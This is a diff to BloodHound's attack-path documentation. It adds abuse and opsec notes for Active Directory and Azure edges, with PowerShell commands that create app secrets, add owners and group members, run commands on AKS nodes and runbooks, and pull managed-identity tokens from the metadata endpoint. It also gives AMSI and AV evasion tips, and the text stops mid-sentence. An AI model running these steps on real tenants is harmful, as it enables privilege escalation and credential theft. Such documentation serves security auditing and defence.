diff --git a/docs/data-analysis/edges.rst b/docs/data-analysis/edges.rst index 30e83edee..989731b48 100644 --- a/docs/data-analysis/edges.rst +++ b/docs/data-analysis/edges.rst @@ -257,6 +257,52 @@ References | +HasSIDHistory +^^^^^^^ + +The given source principal has, in its SIDHistory +attribute, the SID for the target principal. + +When a kerberos ticket is created for source principal, it will +include the SID for the target principal, and therefore grant +the source principal the same privileges and permissions as +the target principal. + + +Abuse Info +------------ + +No special actions are needed to abuse this, as the kerberos +tickets created will have all SIDs in the object's SID history +attribute added to them; however, if traversing a domain trust +boundary, ensure that SID filtering is not enforced, as SID +filtering will ignore any SIDs in the SID history portion of a +kerberos ticket. + +By default, SID filtering is not enabled for all domain trust +types. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://blog.harmj0y.net/redteaming/the-trustpocalypse/ +* https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/ +* https://adsecurity.org/?p=1772 +* https://adsecurity.org/?tag=sidhistory +* https://attack.mitre.org/techniques/T1178/ +* https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/ + +| + +---- + +| + ForceChangePassword ^^^^^^^^^^^^^^^^^^^ @@ -2058,6 +2104,45 @@ References | +WriteAccountRestrictions +^^^^^^^ + +This edge indicates the principal has the ability to write to modify several properties on the target principal, most notably the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. The ability to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property allows an attacker to abuse resource-based constrained delegation to compromise the remote computer system. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object. + +This clip demonstrates how to abuse this edge: + +.. raw:: html + +
+ +
+ + + +Abuse Info +------------ + +See the AllowedToAct edge section for abuse info + + +Opsec Considerations +-------------------- + +See the AllowedToAct edge section for opsec considerations + + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/ +* https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-account-restrictions + +| +---- + +| + TrustedBy ^^^^^^^^^ @@ -2152,56 +2237,79 @@ https://docs.microsoft.com/en-us/powershell/module/azuread/add-azureadgroupmembe | +AZAddOwner +^^^^^^^ + +This edge is created during post-processing. It is created against +all App Registrations and Service Principals within the same tenant +when an Azure principal has one of the following Azure Active +Directory roles: -AZAppAdmin -^^^^^^^^^^ +* Hybrid Identity Administrator +* Partner Tier1 Support +* Partner Tier2 Support +* Directory Synchronization Accounts -Principals with the Application Admin role can control tenant-resident apps. +You will not see these privileges when auditing permissions against +any of the mentioned objects when you use Microsoft tooling, including +the Azure portal or any API. Abuse Info ------------ -Create a new credential for the app, then authenticate to the tenant as the -app’s service principal, then abuse whatever privilege it is that the service -principal has. +You can use BARK to add a new owner to the target object. The +BARK function you use will depend on the target object type, +but all of the functions follow a similar syntax. -Opsec Considerations --------------------- +These functions require you to supply an MS Graph-scoped JWT +associated with the principal that has the privilege to add a +new owner to your target object. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT +by supplying a refresh token: -The Azure portal will create a log even whenever a new credential is created for a service principal. +:: -References ----------- + $MGToken = Get-GraphTokenWithRefreshToken ` + -RefreshToken "0.ARwA6WgJJ9X2qk..." ` + -TenantID "contoso.onmicrosoft.com" -https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ -| +To add a new owner to a Service Principal, use BARK's +New-ServicePrincipalOwner function: ----- +:: -| + New-ServicePrincipalOwner ` + -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" ` + -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" ` + -Token $Token -AZCloudAppAdmin -^^^^^^^^^^^^^^^ -Principals with the Cloud App Admin role can control tenant-resident apps. +To add a new owner to an App Registration, use BARK's New-AppOwner function: + +:: + + New-AppOwner ` + -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" ` + -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" ` + -Token $Token -Abuse Info ------------- -Create a new credential for the app, then authenticate to the tenant as the -app’s service principal, then abuse whatever privilege it is that the service -principal has. Opsec Considerations -------------------- -The Azure portal will create a log even whenever a new credential is created for a service principal. +Any time you add an owner to any Azure object, the AzureAD audit +logs will create an event logging who added an owner to what object, +as well as what the new owner added to the object was. References ---------- -https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK | @@ -2209,50 +2317,100 @@ https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ | -AZContains -^^^^^^^^^^ +AZAddSecret +^^^^^^^ -This indicates that the parent object contains the child object, such as a resource -group containing a virtual machine, or a tenant "containing" a subscription. +Azure provides several systems and mechanisms for granting +control of securable objects within Azure Active Directory, +including tenant-scoped admin roles, object-scoped admin roles, +explicit object ownership, and API permissions. -| +When a principal has been granted "Cloud App Admin" or "App +Admin" against the tenant, that principal gains the ability to +add new secrets to all Service Principals and App Registrations. +Additionally, a principal that has been granted "Cloud App +Admin" or "App Admin" against, or explicit ownership of a +Service Principal or App Registration gains the ability to add +secrets to that particular object. ----- +Abuse Info +------------ -| +There are several ways to perform this abuse, depending on what +sort of access you have to the credentials of the object that +holds this privilege against the target object. If you have an +interactive web browser session for the Azure portal, it is as +simple as finding the target App in the portal and adding a new +secret to the object using the "Certificates & secrets" tab. +Service Principals do not have this tab in the Azure portal but +you can add secrets to them with the MS Graph API. +No matter what kind of control you have, you will be able to +perform this abuse by using BARK's New-AppRegSecret or +New-ServicePrincipalSecret functions. + +These functions require you to supply an MS Graph-scoped JWT +associated with the principal that has the privilege to add a +new secret to your target application. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT +by supplying a refresh token: -AZContributor -^^^^^^^^^^^^^ +:: -The contributor role grants almost all abusable privileges in all circumstances, -with some exceptions. Those exceptions are not collected by AzureHound. + $MGToken = Get-GraphTokenWithRefreshToken -RefreshToken "0.ARwA6WgJJ9X2qk..." -TenantID "contoso.onmicrosoft.com" -Abuse Info ------------- +Then use BARK's New-AppRegSecret to add a new secret to the +target application: -This depends on what the target object is: -* **Key Vault:** You can read secrets and alter access policies (grant yourself -access to read secrets) -* **Automation Account:** You can create a new runbook that runs as the Automation -Account, and edit existing runbooks. Runbooks can be used to authenticate as the -Automation Account and abuse privileges held by the Automation Account. If the -Automation Account is using a ‘RunAs’ account, you can gather the certificate used -to login and impersonate that account. -* **Virtual Machine:** Run SYSTEM commands on the VM +:: + + New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token + +The output will contain the plain-text secret you just created +for the target app: + +:: + + New-AppRegSecret -AppRegObjectID "d878..." -Token $MGToken.access_token + + Name Value + ---- ----- + AppRegSecretValue odg8Q~... + AppRegAppId 4d31... + AppRegObjectId d878... + +With this plain text secret, you can now acquire tokens as the +service principal associated with the app. You can easily do +this with BARK's Get-MSGraphToken function: + +:: + + PS /Users/andyrobbins> $SPToken = Get-MSGraphToken ` + -ClientID "4d31..." ` + -ClientSecret "odg8Q~..." ` + -TenantName "contoso.onmicrosoft.com" + + PS /Users/andyrobbins> $SPToken.access_token + eyJ0eXAiOiJKV1QiLCJub... + +Now you can use this JWT to perform actions against any other MS +Graph endpoint as the service principal, continuing your attack +path with the privileges of that service principal. Opsec Considerations -------------------- -This will depend on which particular abuse you perform, but in general Azure will -create a log event for each abuse. +When you create a new secret for an App or Service Principal, +Azure creates an event called "Update application - Certificates +and secrets management". This event describes who added the secret +to which application or service principal. References ---------- -https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/ -https://blog.netspi.com/azure-automation-accounts-key-stores/ -https://blog.netspi.com/get-azurepasswords/ -https://blog.netspi.com/attacking-azure-cloud-shell/ +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://docs.microsoft.com/en-us/azure/active-directory/roles/assign-roles-different-scopes | @@ -2260,30 +2418,72 @@ https://blog.netspi.com/attacking-azure-cloud-shell/ | -AZGetCertificates -^^^^^^^^^^^^^^^^^ +AZAKSContributor +^^^^^^^ -The ability to read certificates from key vaults. +The Azure Kubernetes Service Contributor role grants full control +of the target Azure Kubernetes Service Managed Cluster. This includes +the ability to remotely fetch administrator credentials for the cluster +as well as the ability to execute arbitrary commands on compute +nodes associated with the AKS Managed Cluster. Abuse Info ------------ -Use PowerShell or PowerZure to fetch the certificate from the key vault. - -Via PowerZure: -* Get-AzureKeyVaultContent -* Export-AzureKeyVaultcontent +You can use BARK's Invoke-AzureRMAKSRunCommand function +to execute commands on compute nodes associated with the +target AKS Managed Cluster. + +This function requires you to supply an Azure Resource Manager +scoped JWT associated with the principal that has the privilege +to execute commands on the cluster. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT +by supplying a refresh token: + +:: + + $ARMToken = Get-ARMTokenWithRefreshToken ` + -RefreshToken "0.ARwA6WgJJ9X2qk..." ` + -TenantID "contoso.onmicrosoft.com" + +Now you can use BARK's Invoke-AzureRMAKSRunCommand function +to execute a command against the target AKS Managed Cluster. +For example, to run a simple "whoami" command: + +:: + + Invoke-AzureRMAKSRunCommand ` + -Token $ARMToken ` + -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" ` + -Command "whoami" + +If the AKS Cluster or its associated Virtual Machine Scale Sets +have managed identity assignments, you can use BARK's +Invoke-AzureRMAKSRunCommand function to retrieve a JWT for the +managed identity Service Principal like this: + +:: + + Invoke-AzureRMAKSRunCommand ` + -Token $ARMToken ` + -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" ` + -Command \'curl -i -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://graph.microsoft.com/&api-version=2019-08-01"\' + +If successful, the output will include a JWT for the managed identity +service principal. Opsec Considerations -------------------- -Azure will create a new log event for the key vault whenever a secret is accessed. +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. References ---------- -https://blog.netspi.com/azure-automation-accounts-key-stores/ -https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent +* https://github.com/BloodHoundAD/BARK +* https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/ | @@ -2291,30 +2491,27 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurek | -AZGetKeys -^^^^^^^^^ +AZAppAdmin +^^^^^^^^^^ -The ability to read keys from key vaults. +Principals with the Application Admin role can control tenant-resident apps. Abuse Info ------------ -Use PowerShell or PowerZure to fetch the certificate from the key vault. - -Via PowerZure: -* Get-AzureKeyVaultContent -* Export-AzureKeyVaultcontent +Create a new credential for the app, then authenticate to the tenant as the +app’s service principal, then abuse whatever privilege it is that the service +principal has. Opsec Considerations -------------------- -Azure will create a new log event for the key vault whenever a secret is accessed. +The Azure portal will create a log even whenever a new credential is created for a service principal. References ---------- -https://blog.netspi.com/azure-automation-accounts-key-stores/ -https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent +https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ | @@ -2322,67 +2519,80 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurek | -AZGetSecrets -^^^^^^^^^^^^ +AZAutomationContributor +^^^^^^^ -The ability to read secrets from key vaults. +The Azure Automation Contributor role grants full control +of the target Azure Automation Account. This includes +the ability to execute arbitrary commands on the Automation +Account. Abuse Info ------------ -Use PowerShell or PowerZure to fetch the certificate from the key vault. - -Via PowerZure: -* Get-AzureKeyVaultContent -* Export-AzureKeyVaultcontent +You can use BARK's New-AzureAutomationAccountRunBook and +Get-AzureAutomationAccountRunBookOutput functions to execute +arbitrary commands against the target Automation Account. -Opsec Considerations --------------------- +These functions require you to supply an Azure Resource Manager +scoped JWT associated with the principal that has the privilege +to add or modify and run Automation Account run books. There are +several ways to acquire a JWT. For example, you may use BARK's +Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT +by supplying a refresh token: -Azure will create a new log event for the key vault whenever a secret is accessed. +:: -References ----------- + $ARMToken = Get-ARMTokenWithRefreshToken ` + -RefreshToken "0.ARwA6WgJJ9X2qk..." ` + -TenantID "contoso.onmicrosoft.com" -https://blog.netspi.com/azure-automation-accounts-key-stores/ -https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent +Now you can use BARK's New-AzureAutomationAccountRunBook function +to add a new runbook to the target Automation Account, specifying +a command to execute using the -Script parameter: -| +:: ----- + New-AzureAutomationAccountRunBook ` + -Token $ARMToken ` + -RunBookName "MyCoolRunBook" ` + -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" ` + -Script "whoami" -| +After adding the new runbook, you must execute it and fetch its +output. You can do this automatically with BARK's +Get-AzureAutomationAccountRunBookOutput function: -AZGlobalAdmin -^^^^^^^^^^^^^ +:: -This edge indicates the principal has the Global Admin role active against -the target tenant. In other words, the principal is a Global Admin. Global -Admins can do almost anything against almost every object type in the tenant, -this is the highest privilege role in Azure. + Get-AzureAutomationAccountRunBookOutput ` + -Token $ARMToken ` + -RunBookName "MyCoolRunBook" ` + -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" -Abuse Info ------------- +If the Automation Account has a managed identity assignment, you can use +these two functions to retrieve a JWT for the service principal like this: -As a Global Admin, you can change passwords, run commands on VMs, read key vault -secrets, activate roles for other users, etc. +:: -For Global Admin to be able to abuse Azure resources, you must first grant yourself -the ‘User Access Administrator’ role in Azure RBAC. This is done through a toggle -button in the portal, or via the PowerZure function Set-AzureElevatedPrivileges. - -Once that role is applied to account, you can then add yourself as an Owner to all -subscriptions in the tenant + $Script = $tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"; $tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI; $tokenResponse.access_token + New-AzureAutomationAccountRunBook -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" -Script $Script + Get-AzureAutomationAccountRunBookOutput -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" + +If successful, the output will include a JWT for the managed identity +service principal. Opsec Considerations -------------------- -This depends on exactly what you do, but in general Azure will log each abuse action. +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. References ---------- -https://blog.netspi.com/attacking-azure-cloud-shell/ +* https://github.com/BloodHoundAD/BARK +* https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a | @@ -2390,28 +2600,40 @@ https://blog.netspi.com/attacking-azure-cloud-shell/ | -AZPrivilegedRoleAdmin -^^^^^^^^^^^^^^^^^^^^^ +AZAvereContributor +^^^^^^^ -The Privileged Role Admin role can grant any other admin role to another principal -at the tenant level. +Any principal granted the Avere Contributor role, scoped to the +affected VM, can reset the built-in administrator password on the +VM. Abuse Info ------------ -Activate the Global Admin role for yourself or for another user using PowerZure or -PowerShell. +The Avere Contributor role allows you to run SYSTEM +commands on the VM + +Via PowerZure: + +* `Invoke-AzureRunCommand `_ +* `Invoke-AzureRunMSBuild `_ +* `Invoke-AzureRunProgram `_ + Opsec Considerations -------------------- -The Azure Activity Log will log who activated an admin role for what other principal, -including the date and time. +Because you'll be running a command as the SYSTEM user on the +Virtual Machine, the same opsec considerations for running malicious +commands on any system should be taken into account: command line +logging, PowerShell script block logging, EDR, etc. References ---------- -https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azureadrole +* https://attack.mitre.org/tactics/TA0008/ +* https://attack.mitre.org/techniques/T1021/ +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#avere-contributor | @@ -2419,27 +2641,27 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azurea | -AZResetPassword +AZCloudAppAdmin ^^^^^^^^^^^^^^^ -The ability to change another user’s password without knowing their current password. +Principals with the Cloud App Admin role can control tenant-resident apps. Abuse Info ------------ -Find the user in the Azure portal, then click "Reset Password", or use PowerZure’s -Set-AzureUserPassword cmdlet. If password write-back is enabled, this password will -also be set for a synced on-prem user. +Create a new credential for the app, then authenticate to the tenant as the +app’s service principal, then abuse whatever privilege it is that the service +principal has. Opsec Considerations -------------------- -Azure will log each password reset event, including who performed the reset, against which account, and at what date and time. +The Azure portal will create a log even whenever a new credential is created for a service principal. References ---------- -https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureuserpassword +https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ | @@ -2447,12 +2669,1237 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureu | -AZRunsAs -^^^^^^^^ +AZContains +^^^^^^^^^^ -The Azure App runs as the Service Principal when it needs to authenticate to the tenant. +This indicates that the parent object contains the child object, such as a resource +group containing a virtual machine, or a tenant "containing" a subscription. -Abuse Info +| + +---- + +| + +AZContributor +^^^^^^^^^^^^^ + +The contributor role grants almost all abusable privileges in all circumstances, +with some exceptions. Those exceptions are not collected by AzureHound. + +Abuse Info +------------ + +This depends on what the target object is: +* **Key Vault:** You can read secrets and alter access policies (grant yourself +access to read secrets) +* **Automation Account:** You can create a new runbook that runs as the Automation +Account, and edit existing runbooks. Runbooks can be used to authenticate as the +Automation Account and abuse privileges held by the Automation Account. If the +Automation Account is using a ‘RunAs’ account, you can gather the certificate used +to login and impersonate that account. +* **Virtual Machine:** Run SYSTEM commands on the VM + +Opsec Considerations +-------------------- + +This will depend on which particular abuse you perform, but in general Azure will +create a log event for each abuse. + +References +---------- + +https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/ +https://blog.netspi.com/azure-automation-accounts-key-stores/ +https://blog.netspi.com/get-azurepasswords/ +https://blog.netspi.com/attacking-azure-cloud-shell/ + +| + +---- + +| + +AZExecuteCommand +^^^^^^^ + +Principals with the Intune Administrators role are able to +execute arbitrary PowerShell scripts on devices that are joined +to the Azure Active Directory tenant. + +Abuse Info +------------ + +First, have your PowerShell script ready to go and save it +somewhere as a PS1 file. Take all the necessary operational +security (opsec) and AMSI-bypass steps you want at this point, +keeping in mind the script will run as the SYSTEM user unless +you specify otherwise. Also keep in mind that the script will +be written to disk, so take whatever AV bypass measures you need +as well. + +Next, log into the Azure web portal as the user with the "Intune +Administrator" role activated. After authenticating, access Endpoint +Manager at https://endpoint.microsoft.com. + +Click on "Devices" on the left, which takes you, unsurprisingly, to +the devices overview. Click on "Scripts" under the "Policy" section +to go to the scripts management page. Click "Add," then click "Windows +10". + +This will bring you to the "Add Powershell Script" page. On this first +page, you'll enter a name for the script and a brief description. On the +next page, click the folder and then select your PS1 from the common +dialogue window. You've now got three options to configure, but can +leave them all in the default "No" position. Most interestingly, keeping +the first selection as "No" will cause the script to run as the SYSTEM user. + +Click next, and you'll see the page that lets you scope which systems and +users this script will execute for. You can choose to assign the script to +"All devices," "All users," or "All users and devices." If you leave the +"Assign to" dropdown at its default selection of "Selected groups," you can +scope the script to only execute on systems or for users that belong to +certain security groups. The choice is yours: run the script on every +possible system or constrain it to only run on certain systems by scoping it +to existing security groups or by adding specific devices or users to new +security groups. + +Click "Next" and you'll see the review page which lets you see what you're +about to do. Click "Add" and Azure will begin registering the script. +At this point, the script is now ready to run on your target systems. This +process works similarly to Group Policy, in that the Intune agent running +on each device periodically checks in (by default every hour) with +Intune/Endpoint Manager to see if there is a PowerShell script for it to run, +so you will need to wait up to an hour for your target system to actually pull +the script down and run it. + +Opsec Considerations +-------------------- + +When the Intune agent pulls down and executes PowerShell +scripts, a number of artifacts are created on the endpoint - +some permanent and some ephemeral. + +Two files are created on the endpoint when a PowerShell script +is executed in the following locations:: + + C:\Program files (x86)\Microsoft Intune Management Extension\Policies\Scripts + C:\Program files (x86)\Microsoft Intune Management Extension\Policies\Results + +The file under the "Scripts" folder will be a local copy of the +PS1 stored in Azure, and the file under the "Results" folder +will be the output of the PS1; however, both of these files are +automatically deleted as soon as the script finishes running. +There are also permanent artifacts left over (assuming the +attacker doesn't tamper with them). A full copy of the contents +of the PS1 can be found in this log file:: + + C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\_IntuneManagementExtension.txt + +References +---------- + +* https://attack.mitre.org/tactics/TA0002/ +* https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d + +| + +---- + +| + +AZGetCertificates +^^^^^^^^^^^^^^^^^ + +The ability to read certificates from key vaults. + +Abuse Info +------------ + +Use PowerShell or PowerZure to fetch the certificate from the key vault. + +Via PowerZure: + +* Get-AzureKeyVaultContent +* Export-AzureKeyVaultcontent + +Opsec Considerations +-------------------- + +Azure will create a new log event for the key vault whenever a secret is accessed. + +References +---------- + +https://blog.netspi.com/azure-automation-accounts-key-stores/ +https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent + +| + +---- + +| + +AZGetKeys +^^^^^^^^^ + +The ability to read keys from key vaults. + +Abuse Info +------------ + +Use PowerShell or PowerZure to fetch the certificate from the key vault. + +Via PowerZure: + +* Get-AzureKeyVaultContent +* Export-AzureKeyVaultcontent + +Opsec Considerations +-------------------- + +Azure will create a new log event for the key vault whenever a secret is accessed. + +References +---------- + +https://blog.netspi.com/azure-automation-accounts-key-stores/ +https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent + +| + +---- + +| + +AZGetSecrets +^^^^^^^^^^^^ + +The ability to read secrets from key vaults. + +Abuse Info +------------ + +Use PowerShell or PowerZure to fetch the certificate from the key vault. + +Via PowerZure: + +* Get-AzureKeyVaultContent +* Export-AzureKeyVaultcontent + +Opsec Considerations +-------------------- + +Azure will create a new log event for the key vault whenever a secret is accessed. + +References +---------- + +https://blog.netspi.com/azure-automation-accounts-key-stores/ +https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent + +| + +---- + +| + +AZGlobalAdmin +^^^^^^^^^^^^^ + +This edge indicates the principal has the Global Admin role active against +the target tenant. In other words, the principal is a Global Admin. Global +Admins can do almost anything against almost every object type in the tenant, +this is the highest privilege role in Azure. + +Abuse Info +------------ + +As a Global Admin, you can change passwords, run commands on VMs, read key vault +secrets, activate roles for other users, etc. + +For Global Admin to be able to abuse Azure resources, you must first grant yourself +the ‘User Access Administrator’ role in Azure RBAC. This is done through a toggle +button in the portal, or via the PowerZure function Set-AzureElevatedPrivileges. + +Once that role is applied to account, you can then add yourself as an Owner to all +subscriptions in the tenant + +Opsec Considerations +-------------------- + +This depends on exactly what you do, but in general Azure will log each abuse action. + +References +---------- + +https://blog.netspi.com/attacking-azure-cloud-shell/ + +| + +---- + +| + +AZHasRole +^^^^^^^ + +This edge indicates that a principal has been granted a particular +AzureAD admin role. + +Abuse Info +------------ + +No abuse is necessary. This edge only indicates +that the principal has been granted a particular +AzureAD admin role. + +Opsec Considerations +-------------------- + +The opsec considerations for a particular action authorized by a +principal“s active AzureAD role assignment will wholly depend +on what the action taken is. This edge does not capture all abusable +possibilities. + +References +---------- + +* https://docs.microsoft.com/en-us/graph/permissions-reference +* https://docs.microsoft.com/en-us/azure/role-based-access-control/overview + +| + +---- + +| + +AZKeyVaultKVContributor +^^^^^^^ + +The Key Vault Contributor role grants full control of the +target Key Vault. This includes the ability to read all secrets +stored on the Key Vault. + +Abuse Info +------------ + +You can read secrets and alter access policies (grant yourself access to read secrets) + +Via PowerZure: + +* `Get-AzureKeyVaultContent `_ +* `Export-AzureKeyVaultContent `_ + + +Opsec Considerations +-------------------- + +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. + +References +---------- + +* https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/ +* https://blog.netspi.com/azure-automation-accounts-key-stores/ +* https://blog.netspi.com/get-azurepasswords/ +* https://blog.netspi.com/attacking-azure-cloud-shell/ + +| + +---- + +| + +AZLogicAppContributor +^^^^^^^ + +The Logic Contributor role grants full control +of the target Logic App. This includes the ability +to execute arbitrary commands on the Logic App. + +Abuse Info +------------ + +Currently you need access to the portal GUI to execute this abuse. +The abuse involves adding or modifying an existing logic app to coerce +the logic app into sending a JWT for its managed identity service principal +to a web server you control. + +You can see a full walkthrough for executing that abuse in this blog post: +`Andy Robbins - Managed Identity Attack Paths, Part 2: Logic Apps `_ + +Opsec Considerations +-------------------- + +This will depend on which particular abuse you perform, but in +general Azure will create a log event for each abuse. + +References +---------- + +* https://github.com/BloodHoundAD/BARK +* https://medium.com/p/52b29354fc54 + +| + +---- + +| + +AZMemberOf +^^^^^^^ + +The given asset is a member of the group. + +Groups in Azure Active Directory grant their direct members any privileges +the group itself has. If a group has an AzureAD admin role, direct members +of the group inherit those permissions. + +Abuse Info +------------ + +No abuse is necessary. This edge simply indicates that a principal +belongs to a security group. + +Opsec Considerations +-------------------- + +No opsec considerations apply to this edge. + +References +---------- + +* https://docs.microsoft.com/en-us/azure/active-directory/roles/groups-create-eligible + +| + +---- + +| + +AZMGAddMember +^^^^^^^ + +This edge is created during post-processing. It is created against +non role assignable Azure AD security groups when a Service +Principal has one of the following MS Graph app role assignments: + +* Directory.ReadWrite.All +* Group.ReadWrite.All +* GroupMember.ReadWrite.All + + +It is created against all Azure AD security groups, including those +that are role assignable, when a Service Principal has the following +MS Graph app role: + +* RoleManagement.ReadWrite.Directory + + +You will not see this privilege when using just the Azure portal +or any other Microsoft tooling. If you audit the roles and administrators +affecting any particular Azure security group, you will not see +that the Service Principal can add members to the group, but it +indeed can because of the parallel access management system used +by MS Graph. + +Abuse Info +------------ + +You can abuse this privilege using BARK's Add-AZMemberToGroup +function. + +This function requires you to supply an MS Graph-scoped JWT +associated with the Service Principal that has the privilege +to add principal to the target group. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT +by supplying a Service Principal Client ID and secret: + +:: + + $MGToken = Get-MSGraphTokenWithClientCredentials ` + -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" ` + -ClientSecret "asdf..." ` + -TenantName "contoso.onmicrosoft.com" + + +Then use BARK's Add-AZMemberToGroup function to add a new principial +to the target group: + +:: + + Add-AZMemberToGroup ` + -PrincipalID = "028362ca-90ae-41f2-ae9f-1a678cc17391" ` + -TargetGroupId "b9801b7a-fcec-44e2-a21b-86cb7ec718e4" ` + -Token $MGToken.access_token + + +Now you can re-authenticate as the principial you just added to the group +and continue your attack path, now having whatever privileges the target +group has. + +Opsec Considerations +-------------------- + +The Azure activity log for the tenant will log who added what +principal to what group, including the date and time. + +References +---------- + +* https://attack.mitre.org/techniques/T1098/ +* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 +* https://github.com/BloodHoundAD/BARK + +| + +---- + +| + +AZMGAddOwner +^^^^^^^ + +This edge is created during post-processing. It is created against +all App Registrations and Service Principals within the same tenant +when a Service Principal has the following MS Graph app role: + +* Application.ReadWrite.All + + +It is also created against all Azure Service Principals when a +Service Principal has the following MS Graph app role: + +* ServicePrincipalEndpoint.ReadWrite.All + + +It is also created against all Azure security groups that are not +role eligible when a Service Principal has one of the following MS +Graph app roles: + +* Directory.ReadWrite.All +* Group.ReadWrite.All + + +Finally, it is created against all Azure security groups and all +Azure App Registrations when a Service Principal has the following +MS Graph app role: + +* RoleManagement.ReadWrite.Directory + + +You will not see these privileges when auditing permissions against +any of the mentioned objects when you use Microsoft tooling, including +the Azure portal and the MS Graph API itself. + +Abuse Info +------------ + +You can use BARK to add a new owner to the target object. The +BARK function you use will depend on the target object type, +but all of the functions follow a similar syntax. + +These functions require you to supply an MS Graph-scoped JWT +associated with the Service Principal that has the privilege +to add a new owner to the target object. There are several ways to +acquire a JWT. For example, you may use BARK's +Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT +by supplying a Service Principal Client ID and secret: + +:: + + $MGToken = Get-MSGraphTokenWithClientCredentials ` + -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" ` + -ClientSecret "asdf..." ` + -TenantName "contoso.onmicrosoft.com" + + +To add a new owner to a Service Principal, use BARK's +New-ServicePrincipalOwner function: + +:: + + New-ServicePrincipalOwner ` + -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" ` + -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" ` + -Token $Token + + +To add a new owner to an App Registration, use BARK's New-AppOwner function: + +:: + + New-AppOwner ` + -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" ` + -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" ` + -Token $Token + + +To add a new owner 